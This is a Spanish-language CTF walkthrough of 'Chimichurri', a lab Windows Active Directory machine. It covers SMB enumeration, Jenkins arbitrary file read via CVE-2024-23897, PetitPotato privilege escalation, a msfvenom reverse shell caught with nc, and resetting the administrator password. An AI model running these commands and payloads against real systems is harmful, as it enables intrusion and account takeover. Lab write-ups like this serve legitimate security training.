murrusko

Chimichurri

02 Jul 2024

image

Estamos ante una máquina Windows, Active Directory, de nivel principiante creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.

Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de nuestra red para averiguar que máquinas hay en ella:

$ sudo arp-scan -I eth2 --localnet
Interface: eth2, type: EN10MB, MAC: 08:00:27:82:61:c8, IPv4: 192.168.200.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.200.1   52:54:00:12:35:00       QEMU
192.168.200.2   52:54:00:12:35:00       QEMU
192.168.200.4   08:00:27:0d:f5:f8       PCS Systemtechnik GmbH

Enumeración

Como vemos la máquina tiene asignada la IP 192.168.200.4.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n y que nos guarde a un fichero grepeable -oG con nombre ports.txt a nuestra máquina victima 192.168.200.4:

sudo nmap -sS -p- -Pn -n -v 192.168.200.4 -oG ports.txt
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
6969/tcp  open  acmsoda
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49679/tcp open  unknown
49688/tcp open  unknown

Como tiene un montón de puertos abiertos obtenemos la lista con el siguiente comando:

$ cat ports.txt | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ','
53,88,135,139,389,445,464,593,636,3268,3269,5985,6969,9389,47001,49664,49665,49666,49668,49669,49670,49671,49674,49679,49688

Ahora hacemos otro escaneo con nmap, pero esta vez para ver con mas detalle que hay en esos puertos:

$ sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,6969,9389,47001,49664,49665,49666,49668,49669,49670,49671,49674,49679,49688 -v 192.168.200.4
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-02 05:07:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6969/tcp  open  http          Jetty 10.0.11
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Panel de control [Jenkins]
|_http-server-header: Jetty(10.0.11)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:0D:F5:F8 (Oracle VirtualBox virtual NIC)
Service Info: Host: CHIMICHURRI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| nbstat: NetBIOS name: CHIMICHURRI, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:0d:f5:f8 (Oracle VirtualBox virtual NIC)
| Names:
|   CHIMICHURRI<00>      Flags: <unique><active>
|   CHIMICHURRI0<00>     Flags: <group><active>
|   CHIMICHURRI0<1c>     Flags: <group><active>
|   CHIMICHURRI<20>      Flags: <unique><active>
|_  CHIMICHURRI0<1b>     Flags: <unique><active>
|_clock-skew: -15s
| smb2-time: 
|   date: 2024-07-02T05:07:55
|_  start_date: 2024-07-02T04:58:47

Añadimos nombre de dominio a nuestro fichero de hosts:

$ echo "192.168.200.4 chimichurri.thl" | sudo tee -a /etc/hosts
192.168.200.4 chimichurri.thl

Para empezar vamos a mirar si hay algún recurso compartido al que se pueda acceder sin credenciales en el servicio smb:

smbclient --no-pass -L \\192.168.200.4        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Admin remota
        C$              Disk      Recurso predeterminado
        drogas          Disk      
        IPC$            IPC       IPC remota
        NETLOGON        Disk      Recurso compartido del servidor de inicio de sesión 
        SYSVOL          Disk      Recurso compartido del servidor de inicio de sesión

Encontramos un recurso compartido con el nombre drogas, nos conectamos a el para ver que contiene:

smbclient --no-pass //192.168.200.4/drogas
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 27 12:20:49 2024
  ..                                  D        0  Thu Jun 27 12:20:49 2024
  credenciales.txt                    A       95  Sun Jun 30 19:19:03 2024

                7735807 blocks of size 4096. 3942367 blocks available

Encontramos un fichero credenciales.txt. Lo descargamos a nuestra máquina con el comando get:

smb: \> get credenciales.txt 
getting file \credenciales.txt of size 95 as credenciales.txt (30.9 KiloBytes/sec) (average 30.9 KiloBytes/sec)
smb: \>

En nuestro equipo leemos el contenido de dicho fichero:

$ cat credenciales.txt 
Todo es mejor en con el usuario hacker, en su escritorio estan sus claves de acceso como perico

De ese texto presumimos que hay un fichero perico.txt en el escritorio del usuario hacker.

Ahora pasamos a ver si hay alguna vulnerabilidad en el servicio web. Como hemos visto antes, en el puerto 6969 hay un servicio web. Empezamos buscando información de que tecnología esta usando:

whatweb -a 3 http://192.168.200.4:6969
http://192.168.200.4:6969 [200 OK] Cookies[JSESSIONID.d01cdd8a], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(10.0.11)], HttpOnly[JSESSIONID.d01cdd8a], IP[192.168.200.4], Jenkins[2.361.4], Jetty[10.0.11], OpenSearch[/opensearch.xml], Prototype, Script[text/javascript], Title[Panel de control [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson-theme,referrer-policy,cross-origin-opener-policy,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]

Vemos que está usando el framework Jenkins versión 2.361.4.

Intrusión

Buscamos en la web del incibe a ver si esa versión de Jenkins tiene alguna vulnerabilidad. Vemos que hay una vulnerabilidad con CVE CVE-2024-23897 que permite la lectura arbitraria de archivos.

https://www.incibe.es/incibe-cert/alerta-temprana/avisos/lectura-arbitraria-de-archivos-en-jenkins

Buscamos con searchsploit a ver si tenemos algún exploit disponible (si no encuentra probar a hacer searchsploit -u para actualizar la BBDD):

$ searchsploit jenkins CVE-2024-23897 

 Exploit Title               |  Path
----------------------------- ---------------------------------
Jenkins 2.441 - Local File I | java/webapps/51993.py

Vemos que hay un exploit disponible, nos lo copiamos a nuestra carpeta de trabajo:

$ cp /usr/share/exploitdb/exploits/java/webapps/51993.py .

Ejecutamos el exploit y le indicamos la url con -u y el path del fichero con -p. En este caso no es necesario añadirle la unidad (c:):

$ python 51993.py -u http://192.168.200.4:6969 -p /users/hacker/desktop/perico.txt
hacker:Perico69

Nos conectamos con evil-winrm y las credenciales recién obtenidas:

evil-winrm -i 192.168.200.4 -u hacker -p Perico69
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\hacker\Documents>

Vemos que privilegios tiene el usuario hacker en la máquina:

*Evil-WinRM* PS C:\Users\hacker\Desktop> whoami /priv

INFORMACIàN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci¢n                                  Estado
============================= ============================================ ==========
SeMachineAccountPrivilege     Agregar estaciones de trabajo al dominio     Habilitada
SeChangeNotifyPrivilege       Omitir comprobaci¢n de recorrido             Habilitada
SeImpersonatePrivilege        Suplantar a un cliente tras la autenticaci¢n Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada

Escalada de privilegios

Como tiene el privilegio SeImpersonatePrivilege habilitado procedemos a hacer la escalada usando alguna de las herramientas disponibles, en este caso PetitPotato. Nos descargamos el binario de su github:

wget https://github.com/wh0amitz/PetitPotato/releases/download/v1.0.0/PetitPotato.exe

Para compartir ficheros con la máquina victima creamos un servidor samba en nuestra máquina. Usamos impacket-smbserver para crear el server, -smb2support para dar soporte a smb2, kali es el nombre que le doy al recurso compartido y . para compartir lo que tenemos en el directorio actual.

impacket-smbserver -smb2support kali .               
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ejecutamos PetitPotato para obtener una cmd, pero vemos que persiste:


*Evil-WinRM* PS C:\Users\hacker\desktop> \\192.168.200.100\kali\PetitPotato.exe 3 cmd

[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.

[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Versi¢n 10.0.14393]
(c) 2016 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>
*Evil-WinRM* PS C:\Users\hacker\desktop>

Vamos a intentar crear una shell reversa al ejecutar PetitPotato. Para ello, primero creamos un ejecutable con msfvenom para que nos de una shell reversa.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.200.100 LPORT=8889 -f exe -o shell.exe

La copiamos en la máquina victima:

*Evil-WinRM* PS C:\Users\hacker\Documents> copy \\192.168.200.100\kali\shell.exe .
*Evil-WinRM* PS C:\Users\hacker\Documents> dir

    Directorio: C:\Users\hacker\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         7/2/2024  10:25 PM          73802 shell.exe

Nos ponemos a la escucha en nuestra máquina atacante y ejecutamos PetitPotato:

*Evil-WinRM* PS C:\Users\hacker\Documents> \\192.168.200.100\kali\PetitPotato.exe 2 .\shell.exe

[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcDecryptFileSrv with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.

[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.

Obtenemos la shell como nt authority\system

nc -nlvp 8889
listening on [any] 8889 ...
connect to [192.168.200.100] from (UNKNOWN) [192.168.200.4] 62914
Microsoft Windows [Versi?n 10.0.14393]
(c) 2016 Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Ahora para obtener el acceso como Administrador lo que he hecho es cambiar la contraseña del usuario Administrador con net user:

C:\Windows\system32>net user administrador Murrusko0
net user administrador Murrusko0
Se ha completado el comando correctamente.

Una vez cambiada nos conectamos usando dichas credenciales:

$ evil-winrm -i 192.168.200.4 -u administrador -p Murrusko0
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrador\Documents> whoami
chimichurri0\administrador
*Evil-WinRM* PS C:\Users\Administrador\Documents>

Y con esto damos por finalizada la máquina.